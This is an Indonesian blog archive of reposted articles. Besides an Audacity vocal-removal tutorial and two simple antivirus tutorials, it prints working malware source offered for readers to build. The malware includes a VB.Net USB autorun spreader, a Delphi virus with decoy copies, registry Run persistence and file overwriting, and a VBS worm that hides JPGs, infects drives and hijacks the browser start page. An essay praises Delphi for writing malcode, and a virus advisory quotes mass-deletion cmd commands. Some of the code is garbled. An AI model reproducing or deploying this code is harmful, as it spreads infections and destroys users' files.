Minggu, 27 Januari 2013

Cara Menghilangkan Suara Vocal mp3 menggunakan Audacity

Cara Menghilangkan Suara Vocal mp3 menggunakan Audacity

Audacity adalah salah satu aplikasi editor music yang bisa kamu gunakan secara gratis. Kamu bisa memotong, menambah, merubah hingga menghilangkan bagian dan suara tertentu dari track audio yang kamu miliki. Kali ini, Jalan Tikus akan memberikan cara untuk menghilangkan suara vocal dari track audio kamu.

Vocal biasanya terletak pada ‘center channel’. Stereo track memiliki dua channel, tapi tidak seluruh instrument seimbang. Terkadang bass terdengar sangat kuat, rhythm terdengar minim dan lain sebagainya. Biasanya vocal terlalu kuat, jadi kita dapat memisahkan stereo track dan memasukkan satu channel.

Berikut caranya :

Buat kamu yang belum punya aplikasi Audacity, silakan download Audacity 2.0.3 Kemudian lakukan instalasi.

Buka program Audacity dan load lagu pilihan kamu.

Hal pertama yang kita butuhkan adalah memisahkan dua channel lagu ke dalam 2 track yang terpisah. Klik tanda panah berwarna hitam yang terdapat pada judul track dan masuk ke Split Stereo Track.

Kemudian, pilih sebuah channel dan double klik atau tekan enter untuk memilih keseluruhan track.

Masuk ke Effect > Invert.



Jika kamu menekan tombol play, kamu akan menemukan sound lagu sedikit lucu. Sound channel tampak seperti keluar dari speaker. Hal terakhir yang harus kita lakukan adalah mengeraskan efek dengan cara mengubah masing masing track menjadi mono. Klik title dari masing masing track seperti ketika kamu memisahkan track dan memilih mono dari menu.

Nah, suara vocal sekarang sudah hilang dari track audio kamu. Setelah vocal berhasil dihilangkan, kamu bisa mengisi suara yang hilang dengan suara kalian.

Caranya, langsung aja klik tombol RECORD yang berwarna merah.

NB: Jangan pernah menggunakannya untuk pembajakan atau yang berhubungan dengan itu..
:) :) :)

Selasa, 15 Januari 2013

Membuat USB Virus Spreader Menggunakan VB.Net

Membuat USB Virus Spreader Menggunakan VB.Net

 
Pada sesi kali ini penulis akan berbagi bagaimana cara membuat sebuah Virus Spreader dimana dengan virus spreader ini kita bisa menyebarkan virus buatan kita agar menyebar lewat USB. Virus Spreader yang akan kita buat menggunakan bahasa pemograman Visual Basic.Net

Selanjutnya anda harus membuat sebuah class dengan nama usb.vb dan masukan kode modul dibawah ini :


Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32

Module USB

    Sub USBInfect()

        On Error Resume Next
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)

        Dim DriveList As String() = Environment.GetLogicalDrives()
        For i As Integer = 0 To DriveList.Length - 1

            Dim di As New DriveInfo(DriveList(i))

            If di.DriveType = DriveType.Removable Then
                If Not di.IsReady = False Then
                    If Not File.Exists(DriveList(i) & "autorun.exe") Then

                        File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
                        My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
                        SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
                        SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
                    End If
                End If
            End If
        Next

    End Sub

End Module
Kemudian untuk menggunakanya silahkan gunakan code dibawah ini :
 
#Region "USB DETECT"





    Protected Overloads Overrides Sub WndProc(ByRef m As Message)

        Select Case m.Msg

            Case Win32.WM_DEVICECHANGE

                OnDeviceChange(m)

                Exit Select

        End Select

        MyBase.WndProc(m)

    End Sub



    Private Sub OnDeviceChange(ByRef msg As Message)

        Dim wParam As Integer = CInt(msg.WParam)



        If wParam = Win32.DBT_DEVICEARRIVAL Then

            Msgbox("USB SPREADING!") ' Might want to remove this, lmao

            USBInfect()

        ElseIf wParam = Win32.DBT_DEVICEREMOVECOMPLETE Then

            msbgox("USB REMOVED!") ' And this!

        End If



    End Sub



    Private Sub RegisterHidNotification()

        Dim dbi As New Win32.DEV_BROADCAST_DEVICEINTERFACE()

        Dim size As Integer = Marshal.SizeOf(dbi)

        dbi.dbcc_size = size

        dbi.dbcc_devicetype = Win32.DBT_DEVTYP_DEVICEINTERFACE

        dbi.dbcc_reserved = 0

        dbi.dbcc_classguid = Win32.GUID_DEVINTERFACE_HID

        dbi.dbcc_name = 0

        Dim buffer As IntPtr = Marshal.AllocHGlobal(size)

        Marshal.StructureToPtr(dbi, buffer, True)

        Dim r As IntPtr = Win32.RegisterDeviceNotification(Handle, buffer, Win32.DEVICE_NOTIFY_WINDOW_HANDLE)

        If r = IntPtr.Zero Then

        End If

    End Sub



    Class Win32

        Public Const WM_DEVICECHANGE As Integer = &H219

        Public Const DBT_DEVICEARRIVAL As Integer = &H8000, DBT_DEVICEREMOVECOMPLETE As Integer = &H8004

        Public Const DEVICE_NOTIFY_WINDOW_HANDLE As Integer = 0, DEVICE_NOTIFY_SERVICE_HANDLE As Integer = 1

        Public Const DBT_DEVTYP_DEVICEINTERFACE As Integer = 5

        Public Shared GUID_DEVINTERFACE_HID As New Guid("4D1E55B2-F16F-11CF-88CB-001111000030")



         _

        Public Class DEV_BROADCAST_DEVICEINTERFACE

            Public dbcc_size As Integer

            Public dbcc_devicetype As Integer

            Public dbcc_reserved As Integer

            Public dbcc_classguid As Guid

            Public dbcc_name As Short

        End Class



         _

        Public Shared Function RegisterDeviceNotification(ByVal hRecipient As IntPtr, ByVal NotificationFilter As IntPtr, ByVal Flags As Int32) As IntPtr

        End Function



         _

        Public Shared Function GetLastError() As Integer

        End Function

    End Class

#End Region
Dan autorun.exe adalah nama virus yang akan anda sebarkan.
 
Sumber: http://synra.blogspot.com/2012/07/membuat-usb-virus-spreader-menggunakan.html

Kamis, 10 Januari 2013

Artikel 24:Cara Membuat AntiVirus Sendiri dengan Delphi 7

Cara Membuat AntiVirus Sendiri dengan Delphi 7

oke.., dalam posting kali ini saya bahas soal cara membuat antivirus sendiri, mungkin pada saat anda sedang main dengan laptopnya, dan terkena virus pasti rasanya pengen marah,karena laptopnya menjadi lelet. Memang sekarang banyak banget virus2 yang sudah menyebar,apa lagi virus yang bernama torjan, atau shortcut  karena snag virus akan membuat doplikat folder yang kita punya.., uuhh..bikin emosi yang pasti rasanya...
tetapi anda tak usah kuatir.., karena sudah ada antivirus yg bisa membasmi virus seperti smadav,AVG,ansav,avira dan masih banyak yang lainnya...,

oke tak usah basa basi lagi, ini cara membuat anti virus sendiri..menggunakan Delphi 7..,

1. kita harus punya Delphi 7 dulu.., kalau belum punya silahkan download
2. nah..,setelah download Delphi 7, silahkan diinstal dulu..,
3. oke sekarang anda download source kode dulu.., tetapi jika agan2 sudah pintar dalam hal pemrograman       atau membuat program gk download juga gk apa2.., ne ane kasih buat yang belum bisa membuat program.., j j  jika agan2 ingin download source code
4. source code yang agan2 download tadi melalui ziddu jadi berformat .rar ,
5. buka source code yang agan2 download tadi.., ekstrct dulu ke dalam folder terserah mau folder mana yang penting folder kosong.
6. kemudian buka delphi 7, dan buka source kode tadi di Delphi 7.
   Asyiknya antivirus yang kita buat bisa kita kasih nama semau kita..
contoh gambar antivirus yang udah jadi:



Sumber: http://blogpintar26.blogspot.com/2011/11/cara-membuat-antivirus-sendiri-dengan.html

Artikel 23: Membuat virus dengan Delphi 7

Membuat virus dengan Delphi 7
Ini kode untuk membuat virus dengan Delphi 7, ketik kode di bawah ini atau bisa kopi paste. Dan ingat kode di bawah hanya untuk pembelajaran saja, dan kami tidak bertanggung jawab penyalah gunaan kode di bawah ini:
unit Unit1;
interface
{Deklarasi ShellApi Yang Digunakan}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{{$R MySoundRes.RES}
procedure TForm1.FormCreate(Sender: TObject);
{Deklarasi variabel}
var
regis: TRegistry;
APath: string;
MySearch: TSearchRec;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
{form tak terlihat}
Application.ShowMainForm := false;
{copy dulu ah}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menjalankan service tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{men-disable TASK MANAGER}
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0′);
regis.CloseKey;
except
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{membuat key di registry biar auto run gitu}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{membuat key registry di runonce}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menginfeksi file}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+’\’+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{merubah file yg terinfeksi}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+’\’+MySearch.Name),pchar(APath+’\’+MySearch.Name+’.exe’));
renamefile (pchar(application.ExeName+’.exe’),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
procedure TForm1.Timer1Timer(Sender: TObject);
{terus perhatiin yah}
{deklarasi variabel}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{tetep jalanin virus secara tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{mendisable task manager}
begin
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0′);
regis.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{bikin lagi key registry}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
try
ShellExecute(0, ‘open’, ‘www.imm.or.id’, nil, nil, SW_NORMAL);
mciSendString(’dadan cakep deh’, nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString(’dadan memang cakep’, nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
end;
end.


Sumber: http://tarjianto.wordpress.com/2010/03/13/kode-membuat-virus-menggunakan-delphi/

Artikel 22: Membuat Virus / Worm dengan Delphi

Membuat Virus / Worm dengan Delphi


Menyambung posting sebelumnya,,, klo diantara teman-teman ada yang mau mencoba membuat virusnya coba baca artikel ini.

Delphi tidak bisa untuk membuat virus? well, itu asumsi salah, karena delphi adalah bahasa pemrograman sebagaimana visual basic, yang sering digunakan oleh pembuat virus.

Apakah delphi cocok digunakan untuk membuat virus? well, saya kira, jika ukuran virus menjadi isu utama, mungkin visual basic lebih cocok, karena memproduksi file executable lebih kecil. Jika daya hidup virus lebih utama saya pikir delphi lebih cocok untuk membuat virus, walau Anda tidak dapat menggunakan teknik pemrograman biasa jika hendak membuat virus.
Delphi adalah suatu tool pemrograman berorientasi objek produksi Borland (sekarang menjadi milik Code Gear kemudian berpindah ke Embarcardo ). Bahasa yang digunakan Delphi dikembangkan dari Bahasa Pemrograman Pascal tradisional, yang masih text based, dan masih berupa bahasa pemrograman terstruktur.

Umumnya, aplikasi yang dibuat oleh developer Delphi adalah aplikasi window dengan banyak operasi drag and drop komponen dan form-form. Namun program yang hendak kita buat adalah malcode, dimana ukuran file menjadi isu penting. Dalam pembuatan aplikasi windows, Delphi adalah salah satu yang terbaik (atau dalam kacamata saya, terbaik, tanpa kata ‘salah satu’ J) dari sisi kemudahan dan konsistensi, namun menghasilkan ukuran file executable yang lebih besar daripada bahasa sejenis yang paling sering digunakan untuk membuat virus, yakni Visual Basic. Kita akan meninggalkan kemudahan fasilitas yang ditawarkan IDE Delphi demi optimasi file executable malcode yang kita buat.

Banyaknya virus/worm lokal yang dibuat dengan Visual Basic dan jarang dibuat dengan Delphi, tidak berarti bahwa Visual Basic lebih baik atau lebih canggih daripada Delphi, masing-masing bahasa mempunyai kelebihan dan kekurangan.

Visual Basic mempunyai statement ‘sakti’ On Error Resume Next yang bermakna, “jika terjadi kesalahan dalam code yang dieksekusi saat ini, abaikan, dan lanjutkan untuk mengeksekusi baris code berikutnya”, dengan demikian, jika misalkan terdapat kesalahan pemrograman dalam tubuh virus/worm, Windows tidak menampilkan pesan error sama sekali, hal ini sangat meningkatkan tingkat ketersembunyian malcode yang dibuat dalam bahasa Visual Basic. Sangat tidak lucu, jika keberadaan virus yang seharusnya stealth, tiba-tiba karena bug dalam tubuhnya, memunculkan pesan error sehingga dengan mudah keberadaanya diketahui.

File executable yang dihasilkan oleh compiler Visual Basic relatif lebih kecil daripada Delphi. Hal ini disebabkan Windows secara default telah menyediakan library-library yang dibutuhkan aplikasi yang dibuat dengan Visual Basic, sehingga compiler tidak perlu membundelnya dalam file executable. Anda bebas menggunakan komponen Active X dan Form standar, file executable yang dihasilkan oleh compiler Visual Basic tetap kecil karena tidak berdiri sendiri. Hal ini merupakan kelebihan sekaligus kelemahan yang paling fatal dari semua virus yang dibuat dengan Visual Basic. Sebagai contoh dari hal yang sudah banyak diketahui, bahwa file executable Visual Basic 6 selalu membutuhkan msvbvm60.dll (Microsot Visual Basic Virtual Machine)agar bisa dieksekusi. Bagaimana jika penjinak virus menghapus atau merename msvbvm60.dll ? Karena kelemahan yang sangat mendasar inilah, hampir semua malcode yang dibuat selalu berusaha untuk melindungi file msvbvm60.dll dari serangan virus/worm hunter. Dan terdapat teknik menarik untuk menangani ketergantungan terhadap msvbvm60.dll ini.

File executable Delphi umumnya tidak bergantung pada library yang spesifik. Compiler Delphi telah membundel library yang dibutuhkan dalam file executable. Hal ini membuat file .exe aplikasi Windows yang dibuat dengan Delphi relatif jauh lebih besar daripada aplikasi yang dibuat dengan Visual Basic. Namun point terpenting disini, file executable Delphi lebih mandiri, dan kelemahan umum pada malcode Visual Basic, tidak dijumpai pada malcode Delphi. Lalu bagaimana dengan ukuran file exe malcode Delphi besar? Hal ini dapat disiasati dengan meninggalkan pemrograman berbasis window dan beralih ke modus console saat kita memprogram malcode.

Jadi memprogram virus dengan Delphi lebih sulit? Tidak juga. Virus atau worm windows tidak lebih dari sekedar permainan registry dan Windows API. Delphi telah menyediakan unit berisikan function-function siap pakai untuk mengakses Windows API dan registry. Dengan demikian Anda tidak perlu mengimport secara langsung function-function API dari library Windows ketika hendak menggunakannya(suatu hal yang mesti harus Anda lakukan jika Anda menggunakan Visual Basic). Selain itu, seandainya pun Anda tidak ingin berjibaku menggunakan modus console, ukuran malcode Delphi sebesar sekitar satu megabyte (sebelum dikompres dengan UPX) tidak ada artinya jika memang target media penyebarannya adalah flashdisk.

Sumber: http://hendr13.blogspot.com/2010/02/membuat-virus-worm-dengan-delphi.html

Artikel 21: Membuat Antivirus Sederhana Menggunakan VB Net

Membuat Antivirus sederhana :

1. Tambahkan 2 Textbox dengan nama TextBox2, TextBox1
2. Tambahkan ListView1
3. Tambahkan 2 Button

Lalu copy paste kode berikut :

Imports System
Imports System.IO
Imports System.Security.Cryptography
Imports System.IO.FileStream
Imports System.Text

Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim OPEN As New OpenFileDialog
        OPEN.CheckFileExists = True
        OPEN.CheckPathExists = True
        OPEN.ShowDialog()
        On Error Resume Next
        Dim MD5 As New MD5CryptoServiceProvider
        Dim FILE As New FileStream(OPEN.FileName, FileMode.Open, FileAccess.Read, FileShare.Read, &H2000)
        Label3.Text = (OPEN.FileName)
        MD5.ComputeHash(FILE)
        Dim HASH As Byte() = MD5.Hash
        Dim bUILD As New StringBuilder
        Dim NUM As Byte
        For Each NUM In HASH
            bUILD.Append(String.Format("{0:x2}", NUM))

        Next
        Me.TextBox1.Text = bUILD.ToString

        Button2.Enabled = True
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If TextBox2.Text.Contains(TextBox1.Text) Then
            MsgBox("ADA VIRUS TERDETEKSI")
            ListBox1.Items.Add(TextBox1.Text)
        Else
            MsgBox("FILE IS CLEAN")

        End If
    End Sub
End Class

Artikel 20: Membuat Virus dengan VB Net

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.

Sumber: http://www.binushacker.net/cara-membuat-virus-dengan-visual-basic.html

Artikel 19: Antisipasi Virus DeadLOCK

Antisipasi Virus DeadLOCK
Belum lama ini telah ditemukan sebuah virus komputer dengan nama Deadlock , namanya cukup sangar dan sebagian dari kita mungkin mengira kalau itu virus yang berasal dari luar negeri, namun sebenarnya ini adalah virus yang dibuat oleh orang Indonesia.
Hal ini terbukti dari pesan yang ditampilkan pada virus tersebut:

Bebaskan Negeri kami Indonesia dari Terorisme, Anarkis, dan KKN (Kolusi, Korupsi & Nepotisme) pada Kubu Pemerintahan Republik Indonesia (Sipil, TNI & Polisi) serta Tangkap, Berantas dan Penjarakan ? Tanpa Kecuali. Bersihkan Negeri kami dari Portitusi, Perjudian dan Kejahatan Sosial. Merdekakan diri kami dari Kemiskinan, Kesengsaraan dan Ketidakadilan! Bersama Partai Demokrat ? SBY & BOEDIONO, Bersama Membangun Indonesia Adil, Makmur & Sejahtera Atas Nama Bangsa Indonesia Pangeran DEADLOCK I?m Everyone, but NoOne I?m Everything, but NoThing I?m Everywhere, but NoWhere


Isi pesannya memang benar, namun sayangnya sesaat virus itu akan langsung menghapus semua data dalam harddisk kita terutama file system Windows.

Berikut adalah ciri-ciri dari virus tersebut: Jika virus ini aktif di komputer, ia akan membuat beberapa file yang akan dijalankan pada saat komputer dinyalakan.

C:\Windows\system32\apache.exe
C:\Windows\system32\mysql.exe

Informasi tersebut di atas adalah posisi folder pada windows XP, untuk Windows 2000 ataupun Windows Vista adalah sebagai berikut :
C:\WinNT\system32\apache.exe
C:\WinNT\system32\mysql.exe

Pemilihan nama file diatas ini merupakan salah satu teknik yang dilakukan oleh si pembuat virus untuk menyamarkan virus tersebut yang seolah-olah sebagai program populer Apache dan Mysql. Selanjutnya virus tersebut akan membuat beberapa string pada Registry Windows sebagai berikut:

Pada Windows XP :

HKEY_LOCAL_MACHINE-SOFTWARE-Microsoft-Windows-CurrentVersion-Run-mysql = C:\Windows\system32\mysql.exe
HKEY_CURRENT_USER-SOFTWARE-Microsoft-Windows-CurrentVersion-Run-apache = C:\Windows\system32\apache.exe

Pada Windows NT / Windows 2000 / Windows Vista :
HKEY_LOCAL_MACHINE-SOFTWARE-Microsoft-Windows-CurrentVersion-Run-mysql = C:\WinNT\system32\mysql.exe
HKEY_CURRENT_USER-SOFTWARE-Microsoft-Windows-CurrentVersion-Run-apache = C:\WinNT\system32\apache.exe

Virus DeadLock ini akan mengaktifkan dirinya setiap tanggal 12-13 pada bulannya dan sekitar pukul 08.00-09.00 setiap bulan dengan cara MENGHAPUS SEMUA FILE/DATA TERMASUK FILE SYSTEM WINDOWS yang ada di semua drive termasuk di media flashdisk dengan menggunakan perintah cmd.exe /c del /f /s /q /a dan cmd.exe /c rd /s /q sehingga, jika komputer tersebut di-restart, maka akan muncul pesan “error”.

